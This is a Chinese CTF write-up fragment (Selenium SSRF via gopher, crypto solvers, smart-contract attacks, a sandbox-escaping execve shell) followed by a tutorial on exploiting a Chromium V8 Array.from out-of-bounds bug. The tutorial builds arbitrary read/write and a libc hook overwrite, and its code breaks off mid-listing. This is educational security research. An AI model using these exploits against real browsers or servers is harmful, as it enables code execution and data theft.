Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"desiredCapabilities":{"browserName":"firefox"}}
然后通过`/wd/hub/sesssions`列出当前全部session
然后通过api控制访问`file:///`
POST /wd/hub/session/32621f2a19c3c4a4b51201e951831006/url HTTP/1.1
Host: 127.0.0.1:4444
Content-Length: 18
Accept: application/json; charset=utf-8
Origin: http://127.0.0.1:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Referer: http://127.0.0.1:4444/wd/hub/static/resource/hub.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"url":"file:///"}
然后读取浏览器截图拿到返回结果(base64的图片)
GET /wd/hub/session/1c602a62-cc09-4a1e-af5c-52b8715228ac/screenshot
攻击流程找到了，那么就可以利用`gopher://`协议构造如上的post报文去攻击远程服务器
example:
You_cann0t_guu3s_1t_1s2xs=gopher://172.20.0.2:4444/_POST%2520%252fwd%252fhub%252fsession%252f1c602a62-cc09-4a1e-af5c-52b8715228ac%252furl%2520HTTP%252f1.1%250AHost%253A%2520127.0.0.1%253A4444%250AContent-Length%253A%252038%250AAccept%253A%2520application%252fjson%253B%2520charset%253Dutf-8%250AOrigin%253A%2520http%253A%252f%252f127.0.0.1%253A4444%250AUser-Agent%253A%2520Mozilla%252f5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_13_6%2529%2520AppleWebKit%252f537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome%252f70.0.3538.102%2520Safari%252f537.36%250AContent-Type%253A%2520text%252fplain%253Bcharset%253DUTF-8%250AReferer%253A%2520http%253A%252f%252f127.0.0.1%253A4444%252fwd%252fhub%252fstatic%252fresource%252fhub.html%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250AConnection%253A%2520close%250A%250A%257B%2522url%2522%253A%2522file%253A%252f%252f%252fTh3_MosT_S3cR3T_fLag%2522%257D
先用`file:///`读下根目录
得到的屏幕截图用html显示出来
<img src="data:imgage/png;base64,">
然后读取flag
## Crypto
### guess_polynomial
We can simply pass a very large `x` to the polynomial.
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
VERBOSE = 1
if VERBOSE:
context.log_level = 'debug'
io = remote('39.96.8.114', 9999)
while 1:
mynum = int('1'+'0'*50)
io.sendlineafter('coeff','1'+'0'*50)
io.recvuntil('sum:')
num = int(io.recvuntil('\n').strip())
coeff = []
while(num > mynum):
coeff.append(str(num%mynum).strip('L'))
num /= mynum
io.recvuntil('coeff')
coeff.append(str(num).strip('L'))
io.sendline(' '.join(coeff[::-1]))
### guess_number
It's not hard to understand (as a newbie in cryptography and math like me) the
algorithm with the help of [this](http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf). Basically if we want to know $\alpha$ we can have a vector
$\mathbf{v} = (\lfloor\alpha t_1\rfloor, ... ,\lfloor\alpha t_d\rfloor,
\frac{\alpha}{2^{k+1}})$ which is close to $\mathbf{u} = (u_1, ..., u_d, 0)$,
and $\mathbf v$ is spanned by the lattice mentioned in the slides. This
converts the HNP to a CVP over a specified lattice. We could then apply
`babai's nearest plane` algorithm to solve it.
import socket
import ast
import telnetlib
#HOST, PORT = 'localhost', 9999
HOST, PORT = '60.205.223.220', 9999
s = socket.socket()
s.connect((HOST, PORT))
f = s.makefile('rw', 0)
def recv_until(f, delim='\n'):
buf = ''
while not buf.endswith(delim):
buf += f.read(1)
return buf
p = 1461501637330902918203684832716283019655932542983
k = 10
def solve_hnp(t, u):
# http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf
M = Matrix(RationalField(), 23, 23)
for i in xrange(22):
M[i, i] = p
M[22, i] = t[i]
M[22, 22] = 1 / (2 ** (k + 1))
def babai(A, w):
''' http://sage-support.narkive.com/HLuYldXC/closest-vector-from-a-lattice '''
C = max(max(row) for row in A.rows())
B = matrix([list(row) + [0] for row in A.rows()] + [list(w) + [C]])
B = B.LLL(delta=0.9)
return w - vector(B.rows()[-1][:-1])
closest = babai(M, vector(u + [0]))
return (closest[-1] * (2 ** (k + 1))) % p
for i in xrange(5):
t = ast.literal_eval(f.readline().strip())
u = ast.literal_eval(f.readline().strip())
alpha = solve_hnp(t, u)
recv_until(f, 'number: ')
s.send(str(alpha) + '\n')
t = telnetlib.Telnet()
t.sock = s
t.interact()
## BlockChain
### EOSGame
For `smallBlind` and `bigBlind`, the expected reward is greater than our cost,
so we just need to write a sciprt to call `smallBlind` and `bigBlind` multiple
times.
def run():
myNonce = runweb3.eth.getTransactionCount(
Web3.toChecksumAddress(main_account), "pending")
print('nonce', myNonce)
for i in range(400):
transaction_dict = {
'from': Web3.toChecksumAddress(main_account),
'to': Web3.toChecksumAddress(constract),
'gasPrice': 10000000000,
'gas': 50000,
'nonce': None,
'value': 0,
'data': "0x70984e97" # "0xe2550156"
}
transaction_dict["nonce"] = myNonce + i
r = runweb3.eth.account.signTransaction(transaction_dict, private_key)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except Exception as e:
print("error1", e)
continue
return
print("Done", i)
### Fake3D
The `turingTest` modifier is not bullet-proof, if the `Fake3D` contract is
called during the constructor of another contract, then the `turingTest` can
still be passed. We leveraged this to earn ourselves enough funds. (See the
contract below.)
Also there's some pitfalls inside the `WinnerList` contract. We cannot call
`CaptureTheFlag` from arbitrary accounts since there's a hidden check which
checks if the `tx.origin` ends with `b143` inside that contract. So we managed
to get one which fulfills the requirement and used it to get the flag.
Attack contract:
pragma solidity ^0.4.24;
import "./Contract.sol";
contract Attack {
using SafeMath for *;
constructor () public {
Fake3D f = Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(address(this))))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288) {
for(int i = 0; i < 150; i++) {
f.airDrop();
}
}
}
}
## MISC
### 签到
IRC
### easysandbox
Since the `scf.so` hooks `__libc_start_main`, we could simply build a static
program which removes all the libc dependency and prevents the sandbox from
being effective.
// build with gcc -o exp -nostdlib solv.S
#define __NR_exit 60
#define __NR_execve 59
.code64
.globl _start
_start:
lea path, %rdi
lea args, %rsi
xor %rdx, %rdx
mov $__NR_execve, %rax
syscall
mov $__NR_exit, %rax
syscall
.data
path: .asciz "/bin/sh"
args:
.long path
.long 0 | 社区文章 |
# v8 engine exploit零基础入门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文将教会读者，如何从一个零基础漏洞新手，学会从chromium的commit中获取diff和poc，最后写出一个v8的exploit。
预备知识[V8基础](https://migraine-sudo.github.io/2020/02/15/v8/)
## 准备工作
进入题目给出的[网站](https://bugs.chromium.org/p/chromium/issues/detail?id=821137)，能够找到漏洞修复的信息。
* 1.上个版本的hash值，以及diff文件
* 2.用于验证崩溃的poc文件
我们能够通过hash值来回溯到之前到版本。使用poc来验证崩溃，不过该漏洞仅有DEBUG版会对该poc发生崩溃。同时我们也可以查看diff，根据补丁分析漏洞。
**v8环境搭建**
#回溯版本到包含漏洞版本
$ git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
$ gclient sync
#分别编译Debug和Release版本
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug d8
$ tools/dev/v8gen.py x64.release
$ ninja -C out.gn/x64.release d8
**diff**
查看和parent版本的diff文件
## POC分析
let oobArray = []; //创建了一个oobArray数组对象
let maxSize = 1028 * 8; //8244
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( //实现了一个迭代器
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0; //在迭代器中将oobArray.length置零
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
//%DebugPrint(oobArray);
//%SystemBreak();
oobArray[oobArray.length - 1] = 0x41414141; //触发crash
_poc分析需要一定的JS基础，我已经把自己整理的一些基础写在文章后面了，和我一样0基础的读者可以先去看一下_
**length置零**
JSArray数组置零是poc的关键部分，让我们看一下JSArray的length置零的效果。
var a=['migraine','sudo'];
%DebugPrint(a);
a.length=0;
%DebugPrint(a);
_置零之前_
JSArray.length=2，用于存储数据的FixedArray长度也为2。
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x37fff628d471 <FixedArray[2]> [PACKED_ELEMENTS (COW)]
- length: 2 <--JSArray.length=2
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x37fff628d471 <FixedArray[2]> { <--FixedArray.length=2
0: 0x111759ea7021 <String[8]: migraine>
1: 0x111759ea7041 <String[4]: sudo>
_置零之后_
JSArray的长度被置0，而FixedArray的空间也被释放。
DebugPrint: 0x37fff628d4c1: [JSArray]
- map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x111759e85539 <JSArray[0]>
- elements: 0x3ab30b882251 <FixedArray[0]> [PACKED_ELEMENTS] <--FixedArray Released...
- length: 0 <--JSArray.length=0
- properties: 0x3ab30b882251 <FixedArray[0]> {
#length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
}
_需要关注的点就是JSArray的length和FixedArray的length在正常操作下是保持同步的，而接下来的poc将打破这种同步关系_
**触发DCHECK而造成Crash**
_DECHECK_ 检查index和this->length()的时候出现了一些问题，检查语句来自fixed-array-inl.h:96。
FixedArray::set中的this对象与oobArray的elements地址相符。但是这里的elememts指向的却是一个空数组。
我们注意到
* 1.JSArray结构中的length=8224
* 2.JSArray中的Elements和Property结构（分别指向FixedArray），却是一个空数组（length=0）
执行FixedArray::set方法，就是向对象的某个index位置写入value，在poc对应的调用语句就是
_oobArray[oobArray.length – 1] = 0x41414141;_ 。
FixedArray对象的this->length()=0（因为this此时是指向Elements这个空数组），而index为8223（因为length=8224）。
产生一个越界写。在release版本下是没有DEBUG CHECK的，所以能够造成任意地址写。同理，使用读取函数也能造成越界读。
_越界读取_ crash
## Patch分析
让我们来分析diff，找出导致JSArray的length值和实际存储空间不同的原因。根据上文中对poc的调试，应该是某个判读导致对JSArray的length值先被置零，而后却被改回原来的数据，产生一个越界读取。
源代码中代码包含很多[CodeStubAssembler](https://v8.dev/blog/csa)的内容。
> **CodeStubAssembler** :为v8提供的高效的低级功能，非常接近汇编语言，同时保持platform-> independent和可读性。定义在code-stub-assembler.h中。
这部分参考大神的[总结](https://hpasserby.top/post/abaa2e35.html#CodeStubAssembler%E7%AE%80%E4%BB%8B)
F_BUILTIN：创建一个函数
Label：声明将要用到的标签名，这些标签名将作为跳转的目标
BIND：绑定标签（相当于将一个代码块和一个标签名绑定，跳转时就可以使用标签名跳转到相应代码块）
Branch：条件跳转指令
VARIABLE：定义一些变量
Goto：跳转
CAST：类型转换
CALLJS：调用给定的JS函数
根据patch，推断GotoIf的判断出现了问题。Path将SmiLessThan改成了SmiNotEqual，只要两者不相同就会运行&runtime。所以我们判断，漏洞产生于当length_smi大于old_length的时候，并且没有发生Goto跳转的情况。
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
...略
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length
根据注释可以很容易地推断。
* 1.运行&runtime会根据length_smi初始化property数组，也就是根据length_smi大小分配正确空间
* 2.运行 _StoreObjectFieldNoWriteBarrier_ 会将JSArray的length修改为length_smi
如果length_smi小于old_length就会调用&runtime实现内存缩减，而如果length_smi等于oldlength就会调用StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi
但如果length_smi>old_length，那么就会导致JSArray.length比old_length实际存储,但是内存并没有被修改（对象FixedArray中的length不变），要大的情况，将会造成一个数组越界漏洞。
当然，漏洞产生的原因已经清楚了，但是我们对漏洞还存在疑问— _为什么length_smi会大于old_length，以及这两个参数的本质_
所以需要回溯到上层代码。调用该函数的代码并不多，而我们poc中调用了Array.from，所以比较好找，不过这段代码是比较长的，需要耐心看和分析。
这部分代码是 _Array.From_ 的 _C++_
实现（要看js实现可以看polyfill）,array.from的功能在下文中的JS基础中有介绍。在结尾调用了GenerateSetLength函数。
**_ArrayFrom实现_**
请仔细阅读下面的代码，否则你可能会一直困惑于poc的撰写方式。
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
TNode<Int32T> argc =
UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount)); //获取输入参数
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc)); //将参数转化为指针
TNode<Object> map_function = args.GetOptionalArgumentValue(1);
// If map_function is not undefined, then ensure it's callable else throw.
//判断输入的map_function是否可以执行//实际上这部分和我们的poc关系不大
{
Label no_error(this), error(this);
GotoIf(IsUndefined(map_function), &no_error); //判断是否Undefined
GotoIf(TaggedIsSmi(map_function), &error); //判断是否是Smi
Branch(IsCallable(map_function), &no_error, &error); //判断是否Callable
BIND(&error); //如果跳转到error，会运行这里
ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);
BIND(&no_error); //如果跳转no error，就会从这里开始运行
}
Label iterable(this), not_iterable(this), finished(this), if_exception(this);//设置标签
TNode<Object> this_arg = args.GetOptionalArgumentValue(2); //获取Object的参数
TNode<Object> items = args.GetOptionalArgumentValue(0); //获取我们的ArrayLike
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
TNode<JSReceiver> array_like = ToObject(context, items); //将ArrayLike转化为对象
TVARIABLE(Object, array);
TVARIABLE(Number, length); //定义Number变量，值为length
// Determine whether items[Symbol.iterator] is defined:
//确认items的迭代器是否被定义（Array类型包含Symbol.iteractor迭代器）
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like); //从array_like中获取迭代器
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);//分支，可迭代和不可迭代
//可迭代的情况运行此处代码
BIND(&iterable);
{
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// Check that the method is callable.
//检测迭代器是否可用
{
Label get_method_not_callable(this, Label::kDeferred), next(this);
GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
Goto(&next);//可用则跳转到next
BIND(&get_method_not_callable);
ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
iterator_method);
BIND(&next);
}
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
//进入迭代循环，循环到迭代器运行结束（这个时候结合我们poc里的迭代器，理解漏洞）
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map))); //获取迭代器返回的值
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
index = NumberInc(index.value()); //获取index的值
// The spec requires that we throw an exception if index reaches 2^53-1,
// but an empty loop would take >100 days to do this many iterations. To
// actually run for that long would require an iterator that never set
// done to true and a target array which somehow never ran out of memory,
// e.g. a proxy that discarded the values. Ignoring this case just means
// we would repeatedly call CreateDataProperty with index = 2^53.
CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
NumberConstant(kMaxSafeInteger), ok,
not_ok);
});
Goto(&loop);
}
BIND(&loop_done);
{
length = index; //将index赋值给length（index在poc中应该为8224）
Goto(&finished); //跳转到finished代码
}
BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
// Since there's no iterator, items cannot be a Fast JS Array.
BIND(¬_iterable);
{
CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));
// Treat array_like as an array and try to get its length.
length = ToLength_Inline(
context, GetProperty(context, array_like, factory()->length_string()));
// Construct an array using the receiver as constructor with the same length
// as the input array.
array = ConstructArrayLike(context, args.GetReceiver(), length.value());
TVARIABLE(Number, index, SmiConstant(0));
GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);
// Loop from 0 to length-1.
{
Label loop(this, &index);
Goto(&loop);
BIND(&loop);
TVARIABLE(Object, value);
value = GetProperty(context, array_like, index.value());
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value retrieved from the array.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value()));
Goto(&next);
BIND(&next);
}
// Store the result in the output object.
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
index = NumberInc(index.value());
BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
length.value(), &loop, &finished);
}
}
BIND(&finished); //finished入口
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value()); //调用我们的漏洞函数，将length输入
args.PopAndReturn(array.value());
}
总结ArrayFrom的大概流程，为了方便省略了call部分，我们只需要知道我们对数组的操作都做用于oobArray即可。
这时候再分析poc就很清楚，关键点是每一次迭代都会调用`oobArray.length =
0;`，所以导致输入数组的array.length（数组长度）<length（迭代次数）。然后调用StoreObjectFieldNoWriteBarrier产生越界。
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi); //将length_smi赋值给JSArray的Length
此处便是将length_smi(迭代次数)，传递给了JSArray的length，上层函数中JSArray就是我们的oobArray对象，length_smi则是oobArray内部的FixedArray（Element）迭代时累加的产物。
漏洞产生的原因主要是因为开发者没有考虑到，传入的ArrayLike也可以是真的数组（oobArray），而真实的数组的length是可以改变的。从而使得获取到的Array的对象（因为被我们置零了）实际长度是小于迭代次数。即产生了oobArray.length要大于Elements的数组空间的现象。
_Patch_ 方式我们也都看到了，只需要将大于的情况也调用 _& runtime_创建空间即可。
## 漏洞利用
### 内存模型
首先需要理解V8的一部分内存模型，这部分可以参考我在[V8基础](https://migraine-sudo.github.io/2020/02/15/v8/)里的介绍。
**_关键字：JSFunction和ArrayBuffer_**
### 实现OOB r&w
从越界读写到oob read&write，需要借助ArrayBuffer对象。通过oobArray的数组越界，覆盖ArrayBuffer的Backing
Store，实现任意地址读写。
我们需要在GC堆中布置一定数量的ArrayBuffer结构，希望至少其中某个能oobArray的越界写入范围。
_类型转换_
读写操作时，需要进行类型转换。 _Float – Uint_
我们的oobArray=[1.1]，读写都是Float类型的，所以需要做个类型转换。而且64位下只有Uint32Array，只能读取32bit的数据。我们利用Float64Array进行读取，然后转化为两个Uint32Array。
/*l类型转换类*/
class ChangeType{
constructor(){ //构造函数
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){ //将两个Uint32转化为一个Float64
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){ //将一个Float64转化为两个Uint32
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
function hex(x) //打印16进制
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();
_寻找ArrayBuffer对象_
我们在迭代器中布置100个ArrayBuffer对象，将对象存入进一个arrays。经过GC回收内存后，这些对象会被GC移动到原oobArray内存（已被释放），就可以通过oobArray对ArrayBuffer进行修改。
在找到可控的ArrayBuffer对象之后，我们可以通过修改ArrayBuffer的length值，然后重新遍历存放ArrayBuffer的数组，确定具体可控对象，然后实现oob
read&write。
let oobArray = [1.1]; //让oobArray为float类型 方便之后的读取写入
let arrays=[];
let maxSize = 1028 * 8; //8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // lenght！=0 避免GC彻底回收，Element会被指向一个空指针，不在原来的地址范围。
/*布置ArrayBuffer对象*/
for(let i=0;i<100;i++)
{
//let array=new ArrayBuffer(0xbeef);
et array=new ArrayBuffer(0x512); //创建length=0xbeef的ArrayBuffer
arrays.push(array); //将BufferArray放入数组（疑问：数组会对GC的回收有什么影响？）
//%DebugPrint(array); //Debug用
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
/*寻找和确定ArrayBuffer对象*/
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
/*找到oobArry可控的ArrayBuffer*/
for(let i=0;i<maxSize;i++)
{
let val=ct.f2i(oobArray[i]);
//if(val===0xbeef00000000)
if(val===0x51200000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=ct.i2f(0xbeaf00000000); //修改length值
break;
}
}
/*确定我们可控ArrayBuffer的ID*/
for(let i=0;i<100;i++)
{
//console.log(arrays[i].bytelength);
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
}
}
* * *
**一个困扰我很长时间的小问题**
在release下使用%DebugPrint(array)时，似乎会发生一些奇怪的事情。这是打印出来的效果。
所有的ArrayBuffer的地址都在一起，查看里面的内存，他们的确拥有一个ArrayBuffer的完整结构，这些所谓的ArrayBuffer的地址都比较高（不管笔者以什么方式创建ArrayBuffer），以至于永远在我们
_数组越界_ 的范围之外。这样就会导致无法利用。
刚开始笔者猜测是否是因为oobArray的CHUNK没有被GC回收走。
查看内存，刚开始并没有发生什么异样，符合ArrayBuffer的结构。但是仔细看过之后发现ArrayBuffer本该存折Map指针的地方和Map的值并不匹配。不过周围其他值似乎都很正常（length，backing
store之类的）我们对这个指针进行解引用。
实际上这个经过第二次解引用的指针才是正确的内存，此时的MAP部分已经和%DebugPrint的结构相一致，其他部分也都是完整的。而我们为了找到ArrayBuffer，进行了两次解引用。
_为什么要多一次解引用呢？_
应该是与自动回收机制（GC）有关。笔者猜测，可能是之前的内存被释放（oobArray），然后GC将刚才ArrayBuffer从原来的地方Copy走了，统一移动到这块块刚被释放到内存中。这也解释了为什么ArrayBuffer的地址一开始都在oobArray读取的范围外，因为当时GC还没将这块内存释放。（简单来说就是GC把ArrayBuffer带走了，在原地址处留了一个指针，然而我一直不知道那是指针。。浪费了我超久的时间）具体原因还需要看研究一下GC的实现方式，未来再填坑。
实验过程中还发现，如果没有使用arrays数组将ArrayBuffer写入，ArrayBuffer的地址并不会被GC改变。这部分目前还搞不明白，只能看大神们写的exploit。
* * *
**实现任意地址读写**
这部分和之前的oobArray读写差不多，直接上代码。
_注意点：需要同时修改Backing Store和kBitField Offset，这两个相邻变量的值是相同的，经过调试发现同时修改才有效。。_
class ArbitraryRW
{
read(addr){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
return ct.f2i(this.f64[0]);
}
write(addr,value){
oobArray[backing_store]=ct.i2f(addr);
oobArray[kbitfield]=ct.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,2);
this.f64[0]=ct.i2f(value);
}
leak(){ //泄露backing store指针
return ct.f2i(oobArray[backing_store]);
}
}
var wr=new ArbitraryRW();
### how2GetShell
大概把下面三种方式都实验一下
* 1.泄露libc
* 2.Wasm
* 3.JIT（因为没有W权限，所以只是尝试一下找到JIT）
#### 泄露libc
泄露堆中包含指向unosort
bin的指针，Hpasserby师傅认为在fd或者bk的位置上，0x7f开头的值一定指向&main_arena+88的地址，这样只需要减去偏移地址就能获得libc的地址。[unsortbin泄露地址](https://migraine-sudo.github.io/2019/11/25/how2heap2/#2-1-0ctf-2017-babyheap)
backingstore一开始的指针指向的就是堆内存，我们可以通过对堆内存进行搜索，来泄露unsoirtbin的指针。
**实际测试中** ，
_循环读数据太多次ArrayBuffer对象的地址会跑飞（具体原因未知，可能又被GC挪走了），所以循环次数要控制，不能全部地址都遍历。_
//刚开始的可控ArrayBuffer地址
gdb-peda$ x/20xg 0x24903d38e5a9-1
0x24903d38e5a8: 0x00003be96c383fe9 0x000033bd5ef82251
0x24903d38e5b8: 0x000033bd5ef82251 0x0000beaf00000000
0x24903d38e5c8: 0x00005555561b9840 0x00005555561b9840
//反复read之后的ArrayBuffer地址
gdb-peda$ x/20xg 0x35c638b8e7a9-1
0x35c638b8e7a8: 0x000024903d38e5a8 0x000033bd5ef82251
0x35c638b8e7b8: 0x000033bd5ef82251 0x0000beaf00000000
0x35c638b8e7c8: 0x00005555561b9840 0x00005555561b9840
我使用的是Hpasserby师傅提出方法，直接暴力搜索堆，通过size/presize来匹配chunk，找到fd/bk是地址为0x7f开头为止。然后减去偏移即可。
用这种方式，比较容易出问题的部分在于ArrayBuffer的大小，太大和太小都会导致heap中不存在unsortbin（错误案例0xbeaf和0x20），毕竟v8的HEAP似乎没有那么被“中用”。所以我这里要修改前面的代码，改用0x512作为ArrayBuffer的长度。筛选时注意条件（见注释）。
/*泄露libc地址*/
let heap=wr.leak()-0x10;
chunk=heap; //以backing store指针-0x10作为初始化chunk
console.log("[*]leak backing store address="+hex(heap));
let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
//循环以chunk为单位遍历
for(let i=0;i<0x3000;i++)
{
//let leak=wr.read(heap);
prev_size=wr.read(chunk);
size=wr.read(chunk+8);
//筛选条件：
//size！==0，必须为chunk结构
//size%2===0,上一个chunk必须被free(prev inuse=0)
//prev_size <=0x3f0
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0)
{
let tmp_ptr=chunk-prev_size;
//%SystemBreak()
fd=wr.read(tmp_ptr+0x10);
bk=wr.read(tmp_ptr+0x18);
//console.log(hex(chunk)+"->"+hex(prev_size));
if(parseInt(fd/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(fd)");
finded=fd;
break;
}
if(parseInt(bk/0x10000000000)===0x7f)
{
console.log("[*]leak unsort bin(bk)");
console.log(hex(bk));
break;
}
}
else if(size<0x20){break;}
size=parseInt(size/8)*8; //size要抹掉最后的3bit
chunk+=size;
}
if(finded!==0)
{
libc_base=finded-0x3c3bb8;
console.log("libc_base="+hex(libc_base));
}
else{
console.log("Error when leak libc base!Try Again.");
}
如果是pwn题，修改malloc_hook为one_gadget就很简单了，可以弹个本地shell（并没有实际作用。。）。这可是浏览器题，至少也要执行一下shellcode，弹个计算器吧。
/*malloc_hook*/
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);
发现一种用system弹calculator的方式，将free_hook替换为system，这样在释放binsh的时候就会执行system(“/snap/bin/gnome-calculator)。Mark一下，不过这个也是pwn类型的利用。
wr.write(libc_base + 0x3C57A8, libc_base + 0x45380); // free hook
const binsh = new Uint32Array(new ArrayBuffer(0x30));
cmd = [1634628399, 1768042352, 1852256110, 761621871, 1668047203, 1952541813, 29295];
// "/snap/bin/gnome-calculator"
for (var i = 0; i < cmd.length; i++)
binsh[i] = cmd[i];
<br>
一开始想看看能不能用Heap
Spary+ROP来执行shellcode，v8的HeapSpray我一直找不到合适的喷射值，就暂时放一放。还是参考大师傅们的利用手法，在栈中写值来控制EIP。
_布置shellcode和ROP_
首先需要为ArbitraryRW增加一个leak功能，相当于实现了一个%DebugPrint。这样就能泄漏shellcode的地址。需要添加的代码如下。
let oobArray = [1.1]; //float
let arrays=[];
+let objs=[]; //for leak
let maxSize = 1028 * 8;
//8224
var a;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length=1; // !=0 void from be huishou by GC,Elements will point to a null pointer
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0x512);
+ let obj={'a':0x1234,'b':0x5678};
